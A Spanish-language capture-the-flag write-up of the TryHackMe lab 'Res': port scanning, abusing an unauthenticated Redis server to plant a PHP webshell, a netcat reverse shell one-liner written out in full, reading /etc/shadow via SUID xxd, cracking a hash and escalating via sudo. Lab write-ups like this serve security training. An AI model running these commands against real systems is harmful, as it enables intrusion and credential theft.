Res - TryHackMe
SUMMARY
Debemos encontrar dos banderas. Donde a partir de un escaneo de puertos pude saber que hay un servicio Web, Redis. Además, debido a que no se ha configurado un mecanismo de autenticación en el acceso al servidor Redis, es que pude ejecutar algunos comandos con el fin de generar una webshell PHP haciendo una suposición en la ruta del directorio raíz del servidor web. Luego, a traves de la webshell ejecute un comando codificado en URL que me genero una reverse Shell. Luego, en la escalada de privilegio horizontal, aproveche que el archivo binario xxd tenia habilitado el bit SUID, logrando observar el contenido del archivo /etc/shadow con el fin de obtener el hash del usuario vianka. Además, cracke el hash con John The Ripper. Luego, en la escalada de privilegio vertical, aproveche que el usuario vianka podía ejecutar cualquier programa o comando con los privilegios de root mediante el comando sudo.
FASE RECONOCIMIENTO ACTIVO
En este caso debemos acceder al sistema destino y obtener las banderas. Para ello empezaremos utilizando el comando openvpn con el fin de establecer una conexión VPN con la red virtual dónde está la máquina Res. Para ello utilizaremos el archivo de configuración, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir información como la dirección del servidor VPN, los certificados y claves de seguridad, la configuración de encriptación, etc.
Luego de que se establece la conexión VPN se crea una interfaz virtual de red en nuestra máquina. Donde se enruta todo el tráfico de red a través de esa interfaz.
Además, la plataforma de Tryhackme nos muestra la dirección IP de la máquina Res.
FASE ESCANEO Y ENUMERACION
Luego pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del nodo. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo de la máquina Res. Para ello utilizaremos Nmap
. Donde le pasaremos los siguientes parámetros:
- El parámetro -sC o –script=”default” para utilizar todos los scripts de la categoría default con el fin de realizar un escaneo y detección de los puertos de manera avanzada.
- El parámetros -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos.
- El parámetro -n para evitar la resolución DNS, y el parámetro –max-rate para indicarle el número máximo de paquetes por segundo que va a utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el tráfico generado por la herramienta.
- El parámetro -Pn para evitar que Nmap, que realice ningún tipo de sondeo o ping hacia el sistema destino con el fin de determinar si el host está vivo o activo, y realice el escaneo de puertos directamente.
- El parámetro -p- para realizar un escaneo de los 65535 puertos del nodo y el parámetro –open con el fin de que nos muestre información solo de los puertos abiertos.
Los resultados que obtuvimos del escaneo vienen a ser:
- Un programa servidor Web en el puerto 80. Además, gracias a un script de Nmap, se puede observar la etiqueta title de la pagina web que viene por defecto al momento de instalar el programa servidor Web.
- Un servidor Redis ejecutado en el puerto 6379.
Ahora intentaremos acceder al servidor Redis, que permite almacenar datos en memoria por lo que permite recuperar los datos rápidamente.
Podemos observar que no se ha configurado un mecanismo de autenticación para acceder al servidor Redis, es decir, se ha mantenido su configuración por defecto. Además, con el comando info Server, podremos obtener información sobre servidor Redis. Por ejemplo, el archivo ejecutable de Redis y su archivo de configuración que se esta utilizando. Además, podemos observar que ambos archivos están almacenados en el directorio home del usuario local vianka.
Ahora si buscamos en el motor de búsqueda de Google formas de generar una reverse Shell a traves de un servidor Redis, nos topamos con la página Hacktricks.
FASE GANAR ACCESO O HACKING O EXPLOTACION
Ahora tendremos que suponer que la ruta del directorio raíz del servidor web Apache es /var/www/html con el fin de generar una webshell PHP donde a traves de un parámetro GET vamos a poder ejecutar el comando rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.8.123.194 1800 >/tmp/f
en el sistema destino para que nos genere una reverse Shell. Además, el comando, que ingresamos al parámetro GET, debe estar codificado en URL.
Podemos observar que logramos acceder al sistema destino siendo el usuario local www-data ya que el servidor web se está ejecutando con su cuenta.
FASE ESCALADA PRIVILEGIOS
Ahora convertiremos nuestra reverse Shell en una Shell más estable e interactiva con el fin evitar de que se cierre en errores simples. Luego, buscaremos vectores de escalada privilegio de manera manual en el sistema de archivos del sistema destino.
Podemos observar uno de los archivos binarios ejecutables con el bit SUID habilitado es xxd.
Ahora buscaremos maneras de como utilizar este archivo binario para realizar una escalada privilegio en la página GTFB
Podemos observar que con el bit SUID habilitado en el archivo binario xxd podemos leer aquellos archivos que requieren privilegios de root para observar su contenido. Por esta razón decidí observar el contenido del archivo /etc/shadow. Donde podemos observar el hash del usuario vianka.
Ahora intentaremos crackear este hash con John The Ripper, pero primero identificaremos la función o algoritmo hash utilizada.
Podemos observar que la herramienta logro crackear el hash correspondiente al usuario vianka.
Ahora iniciaremos sesión en el sistema destino siendo el usuario vianka.
De esta manera realizamos una escalada de privilegios horizontal.
Ahora realizaremos una enumeración manual sobre el sistema de archivos del sistema destino con el fin de buscar vectores de escalada privilegio en el sistema de archivos de este nuevo usuario local.
Podemos observar que el usuario vianka puede ejecutar todos los programas y comandos con los privilegios de root a traves del comando sudo. Por esa razón es que ejecutaremos una nueva instancia de Shell con el comando sudo.
De esta manera logramos realizar una escalada privilegio vertical.
Ahora buscaremos las dos banderas.